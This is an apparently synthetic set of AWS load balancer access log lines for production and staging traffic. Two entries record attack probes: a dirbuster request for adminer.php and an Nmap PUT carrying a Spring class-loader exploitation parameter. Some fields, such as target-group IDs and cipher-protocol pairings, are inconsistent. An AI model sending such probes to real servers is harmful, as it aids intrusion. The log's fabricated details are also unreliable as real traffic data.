ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a4-ef1b03ef412e4e748037c245" "prod-api-alb.example.com" "-" 5 2024-11-01T00:38:44.388579Z "forward" "-" "-" "10.0.44.101:443" "200" "-" "-" +https 2024-11-01T00:38:44.608886Z staging-alb 53.106.251.34:44189 25.122.128.210:443 0.074969 0.217282 0.142524 200 200 450 14743 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a4-617647b37b5d413ca6cbe0b0" "staging-alb.example.com" "-" 1 2024-11-01T00:38:44.608886Z "forward" "-" "-" "25.122.128.210:443" "200" "-" "-" +https 2024-11-01T00:38:45.962122Z prod-api-alb 4.192.233.127:33126 10.0.68.13:443 0.024021 0.089156 0.013804 301 301 985 13629 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0a5-cbc0bb3a8f964c5cad4100ea" "prod-api-alb.example.com" "-" 6 2024-11-01T00:38:45.962122Z "forward" "-" "-" "10.0.68.13:443" "301" "-" "-" +https 2024-11-01T00:38:46.508011Z prod-api-alb 193.52.151.248:52895 10.0.187.187:443 0.056179 0.308510 0.036178 404 404 254 8563 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0a6-954ba049b5ec481f9d233071" "-" "-" 4 2024-11-01T00:38:46.508011Z "forward" "-" "-" "10.0.187.187:443" "404" "-" "-" +https 2024-11-01T00:38:47.385096Z prod-api-alb 117.242.75.253:45839 10.0.25.172:443 0.048413 0.489868 0.000534 301 301 414 2352 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0a7-4ad5d3ff80f94939bf1d82aa" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:47.385096Z "forward" "-" "-" "10.0.25.172:443" "301" "-" "-" +https 2024-11-01T00:38:48.540709Z staging-alb 187.254.56.21:35660 44.123.29.241:443 0.010642 0.737701 0.112649 200 200 581 989 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0a8-52d93f2c18654b22a0c446bf" "staging-alb.example.com" "-" 5 2024-11-01T00:38:48.540709Z "forward" "-" "-" "44.123.29.241:443" "200" "-" "-" +http 2024-11-01T00:38:48.893960Z staging-alb 233.98.155.168:14799 25.143.114.179:443 0.137932 0.431683 0.034192 200 200 544 4246 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0a8-2fa4c3bcaf8e422284a0149b" "staging-alb.example.com" "-" 2 2024-11-01T00:38:48.893960Z "forward" "-" "-" "25.143.114.179:443" "200" "-" "-" +https 2024-11-01T00:38:50.146414Z prod-web-alb 64.187.142.90:53185 10.0.138.136:443 0.062047 0.142125 0.068551 200 200 978 904 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0aa-90fa202e1450447fa0a9c586" "prod-web-alb.example.com" "-" 1 2024-11-01T00:38:50.146414Z "forward" "-" "-" "10.0.138.136:443" "200" "-" "-" +https 2024-11-01T00:38:50.728692Z prod-api-alb 229.35.132.175:18545 10.0.22.231:443 0.086676 0.006832 0.065488 404 404 970 5556 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0aa-e4ad1de400ea4026bca4eaaf" "prod-api-alb.example.com" "-" 0 2024-11-01T00:38:50.728692Z "forward" "-" "-" "10.0.22.231:443" "404" "-" "-" +https 2024-11-01T00:38:52.397495Z staging-alb 93.191.158.200:45379 103.88.103.48:80 0.022176 0.499936 0.114536 302 302 65 8693 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0ac-4c580f93a76a42258856731b" "staging-alb.example.com" "-" 7 2024-11-01T00:38:52.397495Z "forward" "-" "-" "103.88.103.48:80" "302" "-" "-" +https 2024-11-01T00:38:53.127248Z prod-web-alb 239.46.190.78:35504 10.0.192.104:443 0.046821 0.493202 0.044983 301 301 826 10694 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ad-835cff27b05243ed902866e2" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:53.127248Z "forward" "-" "-" "10.0.192.104:443" "301" "-" "-" +https 2024-11-01T00:38:53.914233Z prod-web-alb 17.241.73.151:51491 10.0.197.105:443 0.000073 0.428019 0.050546 404 404 781 2481 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ad-f1c0ad873cf042199aee5947" "prod-web-alb.example.com" "-" 8 2024-11-01T00:38:53.914233Z "forward" "-" "-" "10.0.197.105:443" "404" "-" "-" +https 2024-11-01T00:38:54.959394Z prod-web-alb 35.114.97.43:52241 10.0.165.147:443 0.045761 0.169674 0.018668 404 404 997 4529 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ae-d2967435da604807bb31c1bf" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:54.959394Z "forward" "-" "-" "10.0.165.147:443" "404" "-" "-" +https 2024-11-01T00:38:55.088957Z prod-web-alb 11.158.82.132:60874 10.0.183.176:443 0.047366 0.412547 0.037466 302 302 677 11104 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0af-647884eddf30423484706c5d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:38:55.088957Z "forward" "-" "-" "10.0.183.176:443" "302" "-" "-" +https 2024-11-01T00:38:55.882710Z prod-api-alb 133.26.32.103:21927 10.0.18.84:443 0.030121 0.214584 0.060355 301 301 698 12551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0af-ff70174985d44e3ab074936f" "prod-api-alb.example.com" "-" 9 2024-11-01T00:38:55.882710Z "forward" "-" "-" "10.0.18.84:443" "301" "-" "-" +http 2024-11-01T00:38:57.152240Z staging-alb 64.85.42.165:35673 105.250.164.25:80 0.105823 0.456196 0.041403 200 200 987 13736 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0b1-1c94132584cf4243828a163c" "staging-alb.example.com" "-" 1 2024-11-01T00:38:57.152240Z "forward" "-" "-" "105.250.164.25:80" "200" "-" "-" +https 2024-11-01T00:38:59.097894Z prod-web-alb 196.184.43.166:55059 10.0.241.130:443 0.091848 0.010270 0.051127 200 200 452 5625 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0b3-2f4f265067cf4908949630b1" "prod-web-alb.example.com" "-" 10 2024-11-01T00:38:59.097894Z "forward" "-" "-" "10.0.241.130:443" "200" "-" "-" +https 2024-11-01T00:38:59.343130Z staging-alb 201.195.136.230:35472 215.57.140.231:8080 0.007672 0.022035 0.000337 200 200 328 12714 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b3-8b73e944d2f04b22814142cc" "staging-alb.example.com" "-" 5 2024-11-01T00:38:59.343130Z "forward" "-" "-" "215.57.140.231:8080" "200" "-" "-" +http 2024-11-01T00:39:01.112378Z staging-alb 133.26.29.248:23533 29.115.106.161:8080 0.065952 0.681344 0.104353 200 200 325 13596 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b5-cfa73ed3e0114d2d8abe1ac6" "staging-alb.example.com" "-" 10 2024-11-01T00:39:01.112378Z "forward" "-" "-" "29.115.106.161:8080" "200" "-" "-" +https 2024-11-01T00:39:02.932753Z staging-alb 46.91.113.203:30725 146.76.57.181:80 0.127902 0.251516 0.136319 301 301 433 12706 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0b6-1092724927974ff79edc31bb" "staging-alb.example.com" "-" 9 2024-11-01T00:39:02.932753Z "forward" "-" "-" "146.76.57.181:80" "301" "-" "-" +https 2024-11-01T00:39:04.808926Z prod-web-alb 159.114.3.114:25821 10.0.195.102:443 0.081604 0.462188 0.010670 302 302 153 13921 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0b8-4c4a978ad2a54a3dbbe4266f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:39:04.808926Z "forward" "-" "-" "10.0.195.102:443" "302" "-" "-" +http 2024-11-01T00:39:05.746836Z staging-alb 7.121.162.130:53713 226.55.157.190:8080 0.078330 0.135098 0.140270 302 302 272 8031 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0b9-aacc4d998a0b4fc0b4dcfb6b" "staging-alb.example.com" "-" 9 2024-11-01T00:39:05.746836Z "forward" "-" "-" "226.55.157.190:8080" "302" "-" "-" +http 2024-11-01T00:39:06.505133Z staging-alb 185.181.73.18:49528 222.52.146.161:443 0.148936 0.611765 0.058070 301 301 99 2629 "POST /adminer.php HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0ba-6fe49f601e8d48f29480c627" "-" "-" 1 2024-11-01T00:39:06.505133Z "forward" "-" "-" "222.52.146.161:443" "301" "-" "-" +https 2024-11-01T00:39:08.471569Z prod-api-alb 193.27.228.250:45349 10.0.235.24:443 0.038001 0.446801 0.008554 404 404 999 3570 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0bc-cc04e69b18b44b2c90d65eaf" "-" "-" 2 2024-11-01T00:39:08.471569Z "forward" "-" "-" "10.0.235.24:443" "404" "-" "-" +https 2024-11-01T00:39:08.909842Z prod-web-alb 85.55.5.11:60465 10.0.214.252:443 0.043742 0.343079 0.046076 200 200 994 5669 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0bc-44d7a956b9744e4bb727e74d" "prod-web-alb.example.com" "-" 9 2024-11-01T00:39:08.909842Z "forward" "-" "-" "10.0.214.252:443" "200" "-" "-" +https 2024-11-01T00:39:09.820289Z prod-api-alb 79.139.125.199:54160 10.0.20.20:443 0.082060 0.216654 0.053141 200 200 165 7848 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0bd-a7000cad741a48a1ac88600e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:39:09.820289Z "forward" "-" "-" "10.0.20.20:443" "200" "-" "-" +https 2024-11-01T00:39:11.289834Z prod-web-alb 33.181.122.235:28955 10.0.232.252:443 0.080283 0.477253 0.009628 200 200 60 377 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0bf-7b4f9e0985f545958fdcee2e" "prod-web-alb.example.com" "-" 8 2024-11-01T00:39:11.289834Z "forward" "-" "-" "10.0.232.252:443" "200" "-" "-" +https 2024-11-01T00:39:12.356980Z prod-web-alb 116.182.119.219:38665 10.0.161.177:443 0.043788 0.394017 0.006530 302 302 81 6506 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0c0-aeb93d6b822f4fbf83756050" "prod-web-alb.example.com" "-" 7 2024-11-01T00:39:12.356980Z "forward" "-" "-" "10.0.161.177:443" "302" "-" "-" +https 2024-11-01T00:39:13.987908Z staging-alb 57.55.218.166:38016 38.84.193.111:443 0.109644 0.137909 0.093973 200 200 558 6568 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0c1-29034cdba5e343339776014c" "staging-alb.example.com" "-" 5 2024-11-01T00:39:13.987908Z "forward" "-" "-" "38.84.193.111:443" "200" "-" "-" +https 2024-11-01T00:39:15.821301Z prod-api-alb 63.168.167.129:11051 10.0.178.255:443 0.076757 0.082101 0.037365 301 301 124 6302 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0c3-2c5c345773da403b9a0d0e0b" "prod-api-alb.example.com" "-" 5 2024-11-01T00:39:15.821301Z "forward" "-" "-" "10.0.178.255:443" "301" "-" "-" +https 2024-11-01T00:39:16.200384Z prod-api-alb 25.188.135.159:22140 10.0.233.194:443 0.042202 0.214549 0.091087 200 200 478 794 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0c4-ee5531425b604467a25c22d2" "prod-api-alb.example.com" "-" 2 2024-11-01T00:39:16.200384Z "forward" "-" "-" "10.0.233.194:443" "200" "-" "-" +https 2024-11-01T00:39:17.465078Z prod-web-alb 0.171.125.243:56515 10.0.205.33:443 0.099327 0.261874 0.042992 200 200 136 1584 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0c5-ca983be2b37d455380209419" "-" "-" 7 2024-11-01T00:39:17.465078Z "forward" "-" "-" "10.0.205.33:443" "200" "-" "-" +https 2024-11-01T00:39:18.285001Z prod-web-alb 106.99.9.48:51729 10.0.186.191:443 0.054921 0.020074 0.010420 302 302 889 13249 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0c6-dadb66a7857a4477887863fb" "-" "-" 6 2024-11-01T00:39:18.285001Z "forward" "-" "-" "10.0.186.191:443" "302" "-" "-" +https 2024-11-01T00:39:18.613264Z prod-api-alb 80.75.2.195:17608 10.0.92.246:443 0.088504 0.100370 0.041093 200 200 952 12963 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0c6-710002f4473a4114b7613aad" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:18.613264Z "forward" "-" "-" "10.0.92.246:443" "200" "-" "-" +https 2024-11-01T00:39:19.032046Z prod-api-alb 23.127.39.65:52468 10.0.20.251:443 0.082281 0.056803 0.065859 200 200 650 3858 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0c7-2fc4c1e2803a49a0acbd9bf4" "prod-api-alb.example.com" "-" 1 2024-11-01T00:39:19.032046Z "forward" "-" "-" "10.0.20.251:443" "200" "-" "-" +http 2024-11-01T00:39:20.415053Z staging-alb 46.202.4.16:61707 12.152.79.77:443 0.081901 0.488047 0.124511 301 301 332 14957 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0c8-eaa313f6a28b47a08fd805fd" "staging-alb.example.com" "-" 10 2024-11-01T00:39:20.415053Z "forward" "-" "-" "12.152.79.77:443" "301" "-" "-" +https 2024-11-01T00:39:22.220769Z prod-api-alb 129.45.195.29:56121 10.0.9.144:443 0.098165 0.290172 0.074189 302 302 926 4993 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0ca-268946c8641e48e78c4cc678" "prod-api-alb.example.com" "-" 8 2024-11-01T00:39:22.220769Z "forward" "-" "-" "10.0.9.144:443" "302" "-" "-" +http 2024-11-01T00:39:22.432069Z staging-alb 219.125.255.49:29734 2.160.151.83:8080 0.078991 0.280803 0.137829 302 302 220 3425 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c0ca-fb84bcf25e7947dd8d7e7c12" "staging-alb.example.com" "-" 0 2024-11-01T00:39:22.432069Z "forward" "-" "-" "2.160.151.83:8080" "302" "-" "-" +https 2024-11-01T00:39:22.706000Z prod-web-alb 249.98.97.9:30453 10.0.181.232:443 0.070074 0.473487 0.017962 200 200 773 5950 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0ca-1423411fae19427281c828ca" "prod-web-alb.example.com" "-" 4 2024-11-01T00:39:22.706000Z "forward" "-" "-" "10.0.181.232:443" "200" "-" "-" +https 2024-11-01T00:39:24.056870Z prod-api-alb 110.242.78.253:55613 10.0.47.160:443 0.002913 0.088886 0.023313 200 200 293 10983 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0cc-376cd6f41f6c4164afdb5d10" "prod-api-alb.example.com" "-" 4 2024-11-01T00:39:24.056870Z "forward" "-" "-" "10.0.47.160:443" "200" "-" "-" +https 2024-11-01T00:39:25.862587Z staging-alb 38.223.6.243:19426 107.140.115.55:8080 0.073989 0.642026 0.066219 200 200 501 13157 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0cd-5db0fc74dedf45589ad71334" "staging-alb.example.com" "-" 9 2024-11-01T00:39:25.862587Z "forward" "-" "-" "107.140.115.55:8080" "200" "-" "-" +http 2024-11-01T00:39:27.024397Z staging-alb 19.168.156.20:40265 142.223.226.216:443 0.006181 0.702356 0.020014 200 200 298 10869 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0cf-870879d49643432081f3c949" "staging-alb.example.com" "-" 10 2024-11-01T00:39:27.024397Z "forward" "-" "-" "142.223.226.216:443" "200" "-" "-" +https 2024-11-01T00:39:28.903222Z prod-web-alb 145.239.181.66:31811 10.0.246.131:443 0.023384 0.156178 0.008227 302 302 24 3090 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0d0-42fa9f15ba1d487fb51658d0" "prod-web-alb.example.com" "-" 2 2024-11-01T00:39:28.903222Z "forward" "-" "-" "10.0.246.131:443" "302" "-" "-" +https 2024-11-01T00:39:29.658233Z prod-web-alb 214.247.193.84:53611 10.0.98.45:443 0.065910 0.088039 0.016264 200 200 59 7923 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c0d1-70ba8431cc92444cac7f9eda" "prod-web-alb.example.com" "-" 6 2024-11-01T00:39:29.658233Z "forward" "-" "-" "10.0.98.45:443" "200" "-" "-" +http 2024-11-01T00:39:31.150472Z staging-alb 24.252.26.130:26776 233.188.82.99:80 0.072534 0.620883 0.118426 404 404 391 11278 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0d3-2f16a6c61f434ea28d2df43f" "staging-alb.example.com" "-" 8 2024-11-01T00:39:31.150472Z "forward" "-" "-" "233.188.82.99:80" "404" "-" "-" +https 2024-11-01T00:39:32.601880Z prod-web-alb 141.194.20.24:31947 10.0.239.165:443 0.066872 0.195572 0.028939 200 200 331 7320 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c0d4-194e03c950f04d55a69c1487" "prod-web-alb.example.com" "-" 0 2024-11-01T00:39:32.601880Z "forward" "-" "-" "10.0.239.165:443" "200" "-" "-" +https 2024-11-01T00:39:33.975794Z prod-api-alb 80.200.254.154:25921 10.0.90.131:443 0.032848 0.372317 0.063574 301 301 190 12738 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c0d5-ba6ad7babb644ade977ae9aa" "-" "-" 1 2024-11-01T00:39:33.975794Z "forward" "-" "-" "10.0.90.131:443" "301" "-" "-" +https 2024-11-01T00:39:34.097189Z prod-api-alb 242.127.127.204:35807 10.0.116.155:443 0.039320 0.019108 0.097972 200 200 473 14387 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c0d6-c5f89d53a1ff41e59c111026" "prod-api-alb.example.com" "-" 10 2024-11-01T00:39:34.097189Z "forward" "-" "-" "10.0.116.155:443" "200" "-" "-" +http 2024-11-01T00:39:34.965965Z staging-alb 214.145.65.241:13544 27.51.103.148:443 0.111345 0.545300 0.130639 302 302 431 12714 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c0d6-3a365a85e1f74404a3564808" "-" "-" 7 2024-11-01T00:39:34.965965Z "forward" "-" "-" "27.51.103.148:443" "302" "-" "-" +https 2024-11-01T00:39:36.868006Z prod-api-alb 